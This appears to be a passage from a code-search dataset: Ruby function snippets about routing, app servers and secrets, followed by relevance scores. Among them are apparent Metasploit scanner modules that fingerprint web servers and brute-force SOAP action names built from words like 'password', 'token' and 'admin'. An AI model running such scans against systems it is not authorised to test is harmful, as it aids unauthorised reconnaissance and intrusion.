@logger.info(\"Starting RemoteConsole proxy for VM #{record.vm_id}\")\n RACK_YAY # Rack needs this as a return value\n ensure\n # Release the connection because one SPICE console can open multiple TCP connections\n ActiveRecord::Base.connection_pool.release_connection\n end\n end", "def mount(app, at:, **constraints)\n path = prefixed_path(at)\n prefix = Segment.fabricate(path, **constraints)\n\n @mounted[prefix] = @resolver.call(path, app)\n if inspect?\n @inspector.add_route(Route.new(http_method: \"*\", path: at, to: app, constraints: constraints))\n end\n end", "def new_client(id, env, private_key, secret)\n app_config = AppConfig.new(\n id: id,\n env: env,\n private_key: private_key,\n secret: secret\n )\n\n Client.new(config: app_config)\n end", "def run_app\n http_config = config.http\n\n @server_thread = Thread.new do\n @server = Puma::Server.new(app)\n begin\n @server.add_tcp_listener(http_config.host, http_config.port.to_i)\n rescue Errno::EADDRINUSE, Errno::EACCES => e\n logger.fatal I18n.t(\n \"lita.http.exception\",\n message: e.message,\n backtrace: e.backtrace.join(\"\\n\")\n )\n abort\n end\n @server.min_threads = http_config.min_threads\n @server.max_threads = http_config.max_threads\n @server.run\n end\n\n @server_thread.abort_on_exception = true\n end", "def serve request, response, client, vhost\n @action.call(request, response, client, vhost) unless @action.nil?\n end", "def invoke *args, &proc\n\n if args.size == 0\n error 500, '`%s` expects an action(or an app and action) to be provided' % __method__\n end\n\n app = ::AppetiteUtils.is_app?(args.first) ? args.shift : self.class\n\n if args.size == 0\n error 500, 'Beside app, `%s` expects an action to be provided' % __method__\n end\n\n action = args.shift.to_sym\n route = app[action] || error(404, '%s app does not respond to %s action' % [app, action])\n rest_map = app.url_map[route]\n env.update 'SCRIPT_NAME' => route\n\n if args.size > 0\n path, params = '/', {}\n args.each { |a| a.is_a?(Hash) ? params.update(a) : path << a.to_s << '/' }\n env.update 'PATH_INFO' => path\n params.size > 0 &&\n env.update('QUERY_STRING' => build_nested_query(params))\n end\n app.new(nil, rest_map).call env, &proc\n end", "def delegate(client, tls, port, app_id)\n indicator = tls ? USE_TLS : NO_TLS\n loop = @select_handler.next\n loop.write2(client, \"#{indicator} #{port} #{app_id}\")\n end", "def apps_app_routes_route_put_with_http_info(app, route, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RoutesApi.apps_app_routes_route_put ...\"\n end\n # verify the required parameter 'app' is set\n if @api_client.config.client_side_validation && app.nil?\n fail ArgumentError, \"Missing the required parameter 'app' when calling RoutesApi.apps_app_routes_route_put\"\n end\n # verify the required parameter 'route' is set\n if @api_client.config.client_side_validation && route.nil?\n fail ArgumentError, \"Missing the required parameter 'route' when calling RoutesApi.apps_app_routes_route_put\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling RoutesApi.apps_app_routes_route_put\"\n end\n # resource path\n local_var_path = \"/apps/{app}/routes/{route}\".sub('{' + 'app' + '}', app.to_s).sub('{' + 'route' + '}', route.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RouteWrapper')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RoutesApi#apps_app_routes_route_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def run(req, res)\n controller = controller_class.new(req, res, route_params(req))\n controller.invoke_action(action_name)\n end", "def call(env)\n if env['HTTPS'] == 'on'\n env['SCRIPT_URI'].sub!(/^http:/, 'https:')\n env['SERVER_PORT'] = '443'\n\n # for reasons I don't understand, Passenger on whimsy doesn't\n # forward root directory requests directly, so as a workaround\n # these requests are rewritten and the following code maps\n # the requests back:\n if env['PATH_INFO'] == '/index.html'\n env['PATH_INFO'] = '/'\n env['SCRIPT_URI'] += '/'\n end\n end\n\n return @app.call(env)\n end", "def with_temp_route(dest, gw, iface)\n Mutex.synchronize do\n begin\n add_route dest, gw, iface, 'monitor'\n `ip -4 rule add to #{dest} lookup monitor`\n yield\n\n ensure\n `ip -4 rule del to #{dest} lookup monitor`\n del_route dest, gw, iface, 'monitor'\n end\n end\n end", "def initialize(app_id:, secret:, provider:, redirect_uri:)\n @uuid = UUID.new\n\n @app = app_id\n @secret = secret\n @provider = provider\n @redirect_uri = redirect_uri\n end", "def start!(port = 8080)\n $app = HttpApp.new do |app|\n app.torrent_manager = @torrent_manager\n app.tv = TorrentView.new(@torrent_manager)\n end\n Thin::Server.start('127.0.0.1', port) do\n map '/' do\n run $app\n end\n end\n end", "def run_host(ip)\n\n\t\tself.target_port = datastore['RPORT']\t\n\n\t\tbegin\n\t\t\tres = send_request_raw({\n\t\t\t\t'uri' => '/',\n\t\t\t\t'method' => 'GET'\n\t\t\t}, 10)\n\n\t\t\tif (res and res.headers['Server'])\n\t\t\t\textra = http_fingerprint(res)\n\t\t\t\tprint_status(\"#{ip} is running #{res.headers['Server']}#{extra}\")\n\n\t\t\t\trep_id = wmap_base_report_id(\n\t\t\t\t\t\twmap_target_host,\n\t\t\t\t\t\twmap_target_port,\n\t\t\t\t\t\twmap_target_ssl\n\t\t\t\t)\n\t\t\t\twmap_report(rep_id,'WEB_SERVER','TYPE',\"#{res.headers['Server']}#{extra}\",nil)\n\t\t\tend\n\t\t\t\n\t\trescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n\t\trescue ::Timeout::Error, ::Errno::EPIPE\n\t\tend\n\n\tend", "def route(*args)\n @app.log << \"route #{args.inspect[1..-2]}\"\n @app.route(*args)\nend", "def bind_app_to_space(bundle_id, space_uuid)\n TSApi.tsapi_bindAppToSpace(bundle_id, space_uuid)\n end", "def put_secret(host, secret, options = {})\n execute(__method__, host, secret, options)\n end", "def route(&block)\n @route_block = block\n build_rack_app\n end", "def set_app\n @app = current_client.apps.find(params[:id] || params[:app_id])\n end", "def modify_application(app_name, namespace, public_hostname)\n end", "def on_server()\n puts 'Starting OmniToken web server'\n OmniTokenApp.run!\nend", "def app_endpoint(app_id)\n \"#{FABRIC_APPS_ENDPOINT}/#{app_id}\"\n end", "def app_endpoint(app_id)\n \"#{FABRIC_APPS_ENDPOINT}/#{app_id}\"\n end", "def start_app\nend", "def run(req, res)\n route_params = self.make_match_hash(req)\n controller = @controller_class.new(req, res, route_params)\n controller.invoke_action(@action_name)\n end", "def call(env)\n serving(env)\n end", "def initialize(app_id, app_secret)\n @app_id = app_id\n @app_secret = app_secret\n end", "def connect\n @ip = Ip.find(params[:id])\n respond_to do |format|\n format.html { redirect_to \"http://#{@ip.ip}\" }\n format.rdp { }\n format.ssh { }\n end\n end", "def secret\n transfer_to PokerRoom # Define the PokerRoom as a controller.\n end", "def stop_app(app_name, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n app_name.gsub!(/[^\\w\\d\\-]/, \"\")\n Djinn.log_info(\"Shutting down app named [#{app_name}]\")\n result = \"\"\n Djinn.log_run(\"rm -rf /var/apps/#{app_name}\")\n \n # app shutdown process can take more than 30 seconds\n # so run it in a new thread to avoid 'execution expired'\n # error messages and have the tools poll it \n Thread.new {\n # Tell other nodes to shutdown this application\n if @app_names.include?(app_name) and !my_node.is_appengine?\n @nodes.each { |node|\n next if node.private_ip == my_node.private_ip\n if node.is_appengine? or node.is_login?\n ip = node.private_ip\n acc = AppControllerClient.new(ip, @@secret)\n\n begin\n result = acc.stop_app(app_name)\n Djinn.log_debug(\"Removing application #{app_name} from #{ip} \" +\n \"returned #{result}\")\n rescue FailedNodeException\n Djinn.log_warn(\"Could not remove application #{app_name} from \" +\n \"#{ip} - moving on to other nodes.\")\n end\n end\n }\n end\n\n # Contact the soap server and remove the application\n if (@app_names.include?(app_name) and !my_node.is_appengine?) or @nodes.length == 1\n ip = HelperFunctions.read_file(\"#{CONFIG_FILE_LOCATION}/masters\")\n uac = UserAppClient.new(ip, @@secret)\n result = uac.delete_app(app_name)\n Djinn.log_debug(\"(stop_app) Delete app: #{ip} returned #{result} (#{result.class})\")\n end\n \n # may need to stop XMPP listener\n if my_node.is_login? \n pid_files = HelperFunctions.shell(\"ls #{CONFIG_FILE_LOCATION}/xmpp-#{app_name}.pid\").split\n unless pid_files.nil? # not an error here - XMPP is optional\n pid_files.each { |pid_file|\n pid = HelperFunctions.read_file(pid_file)\n Djinn.log_run(\"kill -9 #{pid}\")\n }\n\n result = \"true\"\n end\n stop_xmpp_for_app(app_name)\n end\n\n Djinn.log_debug(\"(stop_app) Maybe stopping taskqueue worker\")\n maybe_stop_taskqueue_worker(app_name)\n Djinn.log_debug(\"(stop_app) Done maybe stopping taskqueue worker\")\n\n APPS_LOCK.synchronize {\n if my_node.is_login?\n Nginx.remove_app(app_name)\n Nginx.reload\n HAProxy.remove_app(app_name)\n end\n\n if my_node.is_appengine?\n Djinn.log_debug(\"(stop_app) Calling AppManager for app #{app_name}\")\n app_manager = AppManagerClient.new(my_node.private_ip)\n if !app_manager.stop_app(app_name)\n Djinn.log_error(\"(stop_app) ERROR: Unable to stop app #{app_name}\")\n else\n Djinn.log_info(\"(stop_app) AppManager shut down app #{app_name}\")\n end\n\n ZKInterface.remove_app_entry(app_name, my_node.public_ip)\n end\n\n # If this node has any information about AppServers for this app,\n # clear that information out.\n if !@app_info_map[app_name].nil?\n @app_info_map.delete(app_name)\n end\n\n @apps_loaded = @apps_loaded - [app_name] \n @app_names = @app_names - [app_name]\n\n if @apps_loaded.empty?\n @apps_loaded << \"none\"\n end\n\n if @app_names.empty?\n @app_names << \"none\"\n end\n } # end of lock\n } # end of thread\n\n return \"true\"\n end", "def create(app_guid, space_guid, domain_guid, host = nil)\n app = @client.app(app_guid)\n space = @client.space(space_guid)\n domain = @client.domain(domain_guid)\n\n route = @client.routes.find { |rt|\n rt.host == host && rt.domain == domain && rt.space == space\n }\n\n unless route\n route = @client.route\n\n route.host = host if host != nil #app_name if app_name != nil\n route.domain = domain\n route.space = space\n route.create!\n end\n\n #@client.app(app_guid) will get an empty instance of Application, so we check that guid exists\n if app.guid\n app.add_route(route)\n end\n route\n end", "def set_app_server\n @app_server = AppServer.find(params[:id])\n end", "def route(agi, params=nil)\n request = {\n :uri => @uri,\n :controller => @controller,\n :method => @method,\n :id => @id,\n :options => @options\n }\n\n return if !@controller\n\n controller_name = if !@controller[/controller/]\n \"#{@controller}_controller\"\n else\n \"#{@controller}\"\n end\n\n controller_name = controller_name.classify\n controller = get_controller(controller_name)\n\n @@logger.info \"Processing Route to #{controller_name}##{@method}\"\n @@logger.info \"#{@uri}\"\n\n unless controller\n @@logger.warn(\"Nonexistant controller\")\n return set_invalid_extension(agi)\n end\n\n unless check_controller(controller)\n @@logger.warn \"Unroutable method\"\n return set_invalid_extension(agi)\n end\n\n unless check_route(controller, @method)\n @@logger.warn \"Unroutable method\"\n return set_invalid_extension(agi)\n end\n\n ctrl_instance = controller.new({\n :agi => agi,\n :params => params,\n :request => request\n })\n\n begin\n ctrl_instance.run_filter_chain :before\n ctrl_instance.method(@method).call()\n ctrl_instance.run_filter_chain :after\n rescue AGIFilterHalt => e\n LOGGER.warn e.message\n end\n end", "def hash_app\n render '/home/app'\n end", "def app_portal\n\t if params[:individual_user_id] && params[:secret]\n\t login(params[:individual_user_id], params[:secret])\n\t end\n\t\n # pathway parameter indicates that the app should return to a specific page\n if params[:pathway]\n\t redirect_returning_user(params[:pathway],params)\n\t end\n end", "def write_apploadbalancer_location()\n login_file = \"#{CONFIG_FILE_LOCATION}/appdashboard_public_ip\"\n login_ip = get_login.public_ip()\n HelperFunctions.write_file(login_file, login_ip)\n end", "def reroute(location, method: request.method, **params)\n @connection.env[Rack::REQUEST_METHOD] = method.to_s.upcase\n @connection.env[Rack::PATH_INFO] = location.is_a?(Symbol) ? app.endpoints.path(location, **params) : location\n @connection.instance_variable_set(:@response, app.call(@connection.request.env))\n end", "def handle(app)\n app\n end", "def run(req, res)\n # The #run method will figure out what URL was requested, match it to\n # the path regex of one Route object, and finally ask the Route to\n # instantiate the appropriate controller, and call the appropriate method.\n end", "def run_host(ip)\n\n\t\tverbs = [\n\t\t\t\t'get',\n\t\t\t\t'active',\n\t\t\t\t'create',\n\t\t\t\t'change',\n\t\t\t\t'set',\n\t\t\t\t'put',\n\t\t\t\t'do',\n\t\t\t\t'go',\n\t\t\t\t'resolve',\n\t\t\t\t'start',\n\t\t\t\t'recover',\n\t\t\t\t'initiate',\n\t\t\t\t'negotiate',\n\t\t\t\t'define',\n\t\t\t\t'stop',\n\t\t\t\t'begin',\n\t\t\t\t'end',\n\t\t\t\t'manage',\n\t\t\t\t'administer',\n\t\t\t\t'modify',\n\t\t\t\t'register',\n\t\t\t\t'log',\n\t\t\t\t'add',\n\t\t\t\t#'delete', # Best to be safe!\n\t\t\t]\n\n\t\tnouns = [\n\t\t\t\t'password',\n\t\t\t\t'task',\n\t\t\t\t'pass',\n\t\t\t\t'administration',\n\t\t\t\t'account',\n\t\t\t\t'admin',\n\t\t\t\t'login',\n\t\t\t\t'token',\n\t\t\t\t'credentials',\n\t\t\t\t'credential',\n\t\t\t\t'key',\n\t\t\t\t'guid',\n\t\t\t\t'message',\n\t\t\t\t'user',\n\t\t\t\t'username',\n\t\t\t\t'load',\n\t\t\t\t'list',\n\t\t\t\t'name',\n\t\t\t\t'file',\n\t\t\t\t'path',\n\t\t\t\t'directory',\n\t\t\t\t'configuration',\n\t\t\t\t'config',\n\t\t\t\t'setting',\n\t\t\t\t'settings',\n\t\t\t\t'registry',\n\t\t\t\t'on',\n\t\t\t\t'off',\n\t\t\t]\n\n\t\ttarget_port = datastore['RPORT']\n\t\tvhost = datastore['VHOST'] || wmap_target_host || ip\n\n\t\tbegin\n\t\t\t# Check service exists\n\t\t\tres = send_request_raw({\n\t\t\t\t'uri' => datastore['PATH'],\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'vhost' => vhost,\n\t\t\t}, 10)\n\n\t\t\tif (res.code == 200)\n\t\t\t\tprint_status(\"PATH appears to be OK.\")\n\n\t\t\t\tverbs.each do |v|\n\t\t\t\t\tnouns.each do |n|\n\n\t\t\t\t\t\t# This could be cleaned up - patrickw\n\t\t\t\t\t\tdata = '<?xml version=\"1.0\" encoding=\"utf-8\"?>' + \"\\r\\n\"\n\t\t\t\t\t\tdata << '<soap:Envelope xmlns:xsi=\"' + datastore['XMLINSTANCE'] + '\" xmlns:xsd=\"' + datastore['XMLSCHEMA'] + '\" xmlns:soap=\"' + datastore['XMLSOAP'] + '\">' + \"\\r\\n\"\n\t\t\t\t\t\tdata << '<soap:Body>' + \"\\r\\n\"\n\t\t\t\t\t\tdata << \"<#{v}#{n}\" + \" xmlns=\\\"#{datastore['XMLNAMESPACE']}\\\">\" + \"\\r\\n\"\n\t\t\t\t\t\tdata << \"</#{v}#{n}>\" + \"\\r\\n\"\n\t\t\t\t\t\tdata << '</soap:Body>' + \"\\r\\n\"\n\t\t\t\t\t\tdata << '</soap:Envelope>' + \"\\r\\n\\r\\n\"\n\n\t\t\t\t\t\tres = send_request_raw({\n\t\t\t\t\t\t\t'uri' => datastore['PATH'] + '/' + v + n,\n\t\t\t\t\t\t\t'method' => 'POST',\n\t\t\t\t\t\t\t'vhost' => vhost,\n\t\t\t\t\t\t\t'data'\t\t=> data,\n\t\t\t\t\t\t\t'headers' =>\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t'Content-Length' => data.length,\n\t\t\t\t\t\t\t\t\t'SOAPAction'\t=> '\"' + datastore['XMLNAMESPACE'] + v + n + '\"',\n\t\t\t\t\t\t\t\t\t'Expect'\t=> '100-continue',\n\t\t\t\t\t\t\t\t\t'Content-Type'\t=> datastore['CONTENTTYPE'],\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}, 15)\n\n\t\t\t\t\t\tif (res && !(res.body.empty?))\n\t\t\t\t\t\t\tif (res.body =~ /method name is not valid/)\n\t\t\t\t\t\t\t\tprint_status(\"Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.\")\n\t\t\t\t\t\t\telsif (res.message =~ /Cannot process the message because the content type/)\n\t\t\t\t\t\t\t\tprint_status(\"Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.\")\n\t\t\t\t\t\t\t\tres.message =~ /was not the expected type\\s\\'([^']+)'/\n\t\t\t\t\t\t\t\tprint_status(\"Set CONTENTTYPE to \\\"#{$1}\\\"\")\n\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\telsif (res.code == 404)\n\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tprint_status(\"Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.\")\n\t\t\t\t\t\t\t\t## Add Report\n\t\t\t\t\t\t\t\treport_note(\n\t\t\t\t\t\t\t\t\t:host\t=> ip,\n\t\t\t\t\t\t\t\t\t:proto\t=> 'HTTP',\n\t\t\t\t\t\t\t\t\t:port\t=> rport,\n\t\t\t\t\t\t\t\t\t:type\t=> \"SOAPAction: #{v}#{n}\",\n\t\t\t\t\t\t\t\t\t:data\t=> \"SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.\"\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\tif datastore['DISPLAYHTML']\n\t\t\t\t\t\t\t\t\tprint_status(\"The HTML content follows:\")\n\t\t\t\t\t\t\t\t\tprint_status(res.body + \"\\r\\n\")\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\telse\n\t\t\tprint_status(\"Server did not respond with 200 OK.\")\n\t\t\tprint_status(res.to_s)\n\t\tend\n\t\trescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n\t\trescue ::Timeout::Error, ::Errno::EPIPE\n\t\tend\n\tend", "def route\n #TODO\n end", "def call(env)\n configure_gz_port_forward if zone_configured?\n\n app.call(env)\n end", "def set_secret\n @secret = Secret.find(params[:id])\n end", "def set_secret\n @secret = Secret.find(params[:id])\n end", "def set_secret\n @secret = Secret.find(params[:id])\n end", "def set_secret\n @secret = Secret.find(params[:id])\n end", "def run(req, res)\n if matches?(req)\n controller_instance = controller_class.new(req, res, route_params(req))\n controller_instance.invoke_action(action_name)\n else\n # extra precaution! won't be hit if `Router#run` is used\n res.status = 404\n res.write(\"No route matches for #{http_method} on #{controller_class}\")\n end\n end", "def start\n raise ArgumentError, 'app required' unless @app\n\n log \">> Aspen web server (#{::Aspen::SERVER})\"\n debug \">> Debugging ON\"\n trace \">> Tracing ON\"\n\n log \">> Listening on #{@host}:#{@port}, CTRL+C to stop\"\n\n @backend.start\n end", "def dispatch_action(req)\n controller = ROUTE_TO_CONTROLLER[req.path_info]\n raise Heartcheck::Errors::RoutingError if controller.nil?\n\n Logger.info \"Start [#{controller}] from #{req.ip} at #{Time.now}\"\n\n controller.new.index.tap do |_|\n Logger.info \"End [#{controller}]\\n\"\n end\n end", "def build_direct_endpoint\n app = Class.new(App)\n app.opts[:shrine_class] = self\n app.app\n end", "def build_direct_endpoint\n app = Class.new(App)\n app.opts[:shrine_class] = self\n app.app\n end", "def org_app_endpoint(session, app_id)\n \"#{org_endpoint(session)}#{app_endpoint(app_id)}\"\n end", "def add_route(url_string, rack_app)\n @mount_points = @mount_points || []\n @mount_points << {url_string: url_string, rack_app: rack_app}\n end", "def run(req, res)\n @route_params = {}\n\n # I need to build route_params from the URL params\n # @pattern is the regexp\n match_data = @pattern.match(req.path)\n # * @pattern is the regexp given in the router.draw block in\n # p06_router_server.rb\n # * req.path is the url we are matching against\n # match_data gives us the MatchData object\n match_data.names.each do |name|\n @route_params[name] = match_data[name]\n end\n #this loop creates the params!\n\n controller_instance = @controller_class.new(req, res, @route_params)\n controller_instance.invoke_action(@action_name)\n end", "def create(destination, nexthop, opts = {})\n cmd = \"ip route #{destination} #{nexthop}\"\n cmd << \" #{opts[:router_ip]}\" if opts[:router_ip]\n cmd << \" #{opts[:distance]}\" if opts[:distance]\n cmd << \" tag #{opts[:tag]}\" if opts[:tag]\n cmd << \" name #{opts[:name]}\" if opts[:name]\n configure cmd\n end", "def _run(id: nil)\n runtime = Ovto::Runtime.new(self)\n actions = self.class.const_get('Actions').new\n @wired_action_set = WiredActionSet.new(self, actions, [], self.class.middlewares, runtime)\n actions.wired_actions = @wired_action_set.app_wired_actions\n @main_component = create_view(@wired_action_set)\n if id\n %x{\n document.addEventListener('DOMContentLoaded', function(){\n var container = document.getElementById(id);\n if (!container) {\n throw \"Ovto::App#run: tag with id='\" + id + \"' was not found\";\n }\n #{start_application(runtime, `container`)}\n });\n }\n else\n start_application(runtime, nil)\n end\n end", "def call(env)\n env['crossbeams.appname'] = @appname\n env['crossbeams.banner'] = @template if @template\n @app.call(env)\n end", "def base_rack_app_callable(new_api=true)\n if new_api\n lambda{|env| new(env)._roda_handle_main_route}\n else\n block = @rack_app_route_block\n lambda{|env| new(env).call(&block)}\n end\n end", "def on_connect(client_id, ip_address)\n @client_manager.add(client_id, ip_address)\n end", "def set_app\n @app = App.find(params[:id])\n end", "def set_app\n @app = App.find(params[:id])\n end", "def set_app\n @app = App.find(params[:id])\n end", "def set_app\n @app = App.find(params[:id])\n end", "def set_app\n @app = App.find(params[:id])\n end", "def set_app\n @app = App.find(params[:id])\n end", "def set_app\n @app = App.find(params[:id])\n end", "def set_app\n @app = App.find(params[:id])\n end", "def set_app\n @app = App.find(params[:id])\n end", "def call(env)\n remote_addr = IPAddr.new(env['REMOTE_ADDR'])\n\n Rack::IpRestrictor.config.restrictions.each do |restriction|\n return access_denied unless restriction.validate(env, remote_addr)\n end\n\n @app.call(env)\n end", "def set_secret\n @secret = Secret.find(params[:id])\n end", "def add_route path, controller, &block\n\t\t\t\t@active_host ||= add_host :default\n\t\t\t\t@active_host.routes << ::Plezi::Base::Route.new(path, controller, &block)\n\t\t\tend", "def terminate_app(app_id, timeout: nil)\n @bridge.terminate_app(app_id, timeout: timeout)\n end", "def terminate_app(app_id, timeout: nil)\n @bridge.terminate_app(app_id, timeout: timeout)\n end", "def call(env)\n @app.call(env)\n end", "def app\n no_autostart\n puts \"Running Plezi version: #{::Plezi::VERSION}\"\n Plezi::Base::Router.call_method\n end", "def run(port: nil, host: nil, server: nil, **opts)\n @port = port || config.server.port\n @host = host || config.server.host\n @server = server || config.server.default\n\n opts.merge!(DEFAULT_HANDLER_OPTIONS.fetch(@server, {}))\n\n handler(@server).run(to_app, Host: @host, Port: @port, **opts) do |app_server|\n at_exit do\n stop(app_server)\n end\n\n STOP_SIGNALS.each do |signal|\n trap(signal) {\n stop(app_server)\n }\n end\n end\n end", "def resolve(adr)\n adr.ip = program.size\n end", "def update(app_name, domain)\n opts = { app_name: app_name, domain: domain }\n Hermes::Route.update(opts.merge(Hash[options.map{|(k,v)| [k.to_sym,v]}])).inject\n puts \"Route for #{app_name} updated\"\n end", "def set_app\n @app = FortyTwo::App.find(params[:id])\n end", "def app(create=false)\r\n @app_integration_instance = nil if create\r\n @app_integration_instance ||= new_session do |sess|\r\n sess.host! \"www.example.com\"\r\n end\r\nend", "def run opts = {}\n server = opts.delete(:server)\n (server && Rack::Handler.const_defined?(server)) || (server = HTTP__DEFAULT_SERVER)\n\n port = opts.delete(:port)\n opts[:Port] ||= port || HTTP__DEFAULT_PORT\n\n host = opts.delete(:host) || opts.delete(:bind)\n opts[:Host] = host if host\n\n Rack::Handler.const_get(server).run app, opts\n end", "def initialize(app_id, app_secret, uuid = nil, hostname = 'gocarrot.com')\n @app_id = app_id\n @app_secret = app_secret\n @uuid = uuid\n @hostname = hostname\n end", "def update_app data={}\n put '/app', data\n end" ]
[ "0.74140364", "0.6662897", "0.6137745", "0.6115657", "0.5505296", "0.5479909", "0.4881991", "0.4703085", "0.4611078", "0.45304093", "0.4441691", "0.4434111", "0.44225985", "0.44195324", "0.44084364", "0.4382441", "0.4379882", "0.43702993", "0.43689358", "0.4365874", "0.43604344", "0.43556815", "0.4353846", "0.43319392", "0.43101394", "0.43083388", "0.4302784", "0.4301215", "0.42824075", "0.428202", "0.42680696", "0.4264024", "0.42524317", "0.42515075", "0.4242942", "0.42353168", "0.4231011", "0.42283168", "0.42212585", "0.42212585", "0.42168534", "0.42030123", "0.41993898", "0.41992885", "0.41929764", "0.4186174", "0.41856003", "0.41838834", "0.41749704", "0.41745538", "0.41659436", "0.4161833", "0.4148809", "0.41460946", "0.41380438", "0.41293952", "0.4126004", "0.4124292", "0.41188565", "0.41172874", "0.41172874", "0.41172874", "0.41172874", "0.41108054", "0.41100717", "0.41072443", "0.41044918", "0.41044918", "0.4097573", "0.40940306", "0.40898624", "0.40863216", "0.40694988", "0.4067949", "0.40637645", "0.40564975", "0.40494588", "0.40494588", "0.40494588", "0.40494588", "0.40494588", "0.40494588", "0.40494588", "0.40494588", "0.40494588", "0.4048881", "0.40230626", "0.4016712", "0.40115204", "0.40115204", "0.40092865", "0.4009133", "0.4008223", "0.4008007", "0.4006875", "0.40027177", "0.4002293", "0.39989844", "0.39952844", "0.39949736" ]
0.6581175
2
Tells an AppController to no longer route HAProxy traffic to the given location. Args: app_id: A String that identifies the application that runs the AppServer to remove. ip: A String that identifies the private IP address where the AppServer to remove runs. port: A Fixnum that identifies the port where the AppServer was running. secret: A String that is used to authenticate the caller.
def remove_appserver_from_haproxy(app_id, ip, port) make_call(NO_TIMEOUT, RETRY_ON_FAIL, "remove_appserver_from_haproxy") { @conn.remove_appserver_from_haproxy(app_id, ip, port, @secret) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_appserver_from_haproxy(app_id, ip, port, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n if !my_node.is_login?\n return NO_HAPROXY_PRESENT\n end\n\n Djinn.log_debug(\"Removing AppServer for app #{app_id} at #{ip}:#{port}\")\n get_scaling_info_for_app(app_id)\n @app_info_map[app_id]['appengine'].delete(\"#{ip}:#{port}\")\n HAProxy.update_app_config(my_node.private_ip, app_id,\n @app_info_map[app_id])\n get_scaling_info_for_app(app_id, update_dashboard=false)\n\n return \"OK\"\n end", "def remove_appserver_process(app_id, port, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n app = app_id\n @state = \"Stopping an AppServer to free unused resources\"\n Djinn.log_debug(\"Deleting appserver instance to free up unused resources\")\n\n uac = UserAppClient.new(@userappserver_private_ip, @@secret)\n app_manager = AppManagerClient.new(my_node.private_ip)\n warmup_url = \"/\"\n\n my_public = my_node.public_ip\n my_private = my_node.private_ip\n\n app_data = uac.get_app_data(app)\n\n Djinn.log_debug(\"Get app data for #{app} said [#{app_data}]\")\n\n app_is_enabled = uac.does_app_exist?(app)\n Djinn.log_debug(\"is app #{app} enabled? #{app_is_enabled}\")\n if app_is_enabled == \"false\"\n return\n end\n\n if !app_manager.stop_app_instance(app, port)\n Djinn.log_error(\"Unable to stop instance on port #{port} app #{app_name}\")\n end\n\n # Tell the AppController at the login node (which runs HAProxy) that this\n # AppServer isn't running anymore.\n acc = AppControllerClient.new(get_login.private_ip, @@secret)\n acc.remove_appserver_from_haproxy(app, my_node.private_ip, port)\n\n # And tell the AppDashboard that the AppServer has been killed.\n delete_instance_from_dashboard(app, \"#{my_node.private_ip}:#{port}\")\n end", "def stop_app(app_name, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n app_name.gsub!(/[^\\w\\d\\-]/, \"\")\n Djinn.log_info(\"Shutting down app named [#{app_name}]\")\n result = \"\"\n Djinn.log_run(\"rm -rf /var/apps/#{app_name}\")\n \n # app shutdown process can take more than 30 seconds\n # so run it in a new thread to avoid 'execution expired'\n # error messages and have the tools poll it \n Thread.new {\n # Tell other nodes to shutdown this application\n if @app_names.include?(app_name) and !my_node.is_appengine?\n @nodes.each { |node|\n next if node.private_ip == my_node.private_ip\n if node.is_appengine? or node.is_login?\n ip = node.private_ip\n acc = AppControllerClient.new(ip, @@secret)\n\n begin\n result = acc.stop_app(app_name)\n Djinn.log_debug(\"Removing application #{app_name} from #{ip} \" +\n \"returned #{result}\")\n rescue FailedNodeException\n Djinn.log_warn(\"Could not remove application #{app_name} from \" +\n \"#{ip} - moving on to other nodes.\")\n end\n end\n }\n end\n\n # Contact the soap server and remove the application\n if (@app_names.include?(app_name) and !my_node.is_appengine?) or @nodes.length == 1\n ip = HelperFunctions.read_file(\"#{CONFIG_FILE_LOCATION}/masters\")\n uac = UserAppClient.new(ip, @@secret)\n result = uac.delete_app(app_name)\n Djinn.log_debug(\"(stop_app) Delete app: #{ip} returned #{result} (#{result.class})\")\n end\n \n # may need to stop XMPP listener\n if my_node.is_login? \n pid_files = HelperFunctions.shell(\"ls #{CONFIG_FILE_LOCATION}/xmpp-#{app_name}.pid\").split\n unless pid_files.nil? # not an error here - XMPP is optional\n pid_files.each { |pid_file|\n pid = HelperFunctions.read_file(pid_file)\n Djinn.log_run(\"kill -9 #{pid}\")\n }\n\n result = \"true\"\n end\n stop_xmpp_for_app(app_name)\n end\n\n Djinn.log_debug(\"(stop_app) Maybe stopping taskqueue worker\")\n maybe_stop_taskqueue_worker(app_name)\n Djinn.log_debug(\"(stop_app) 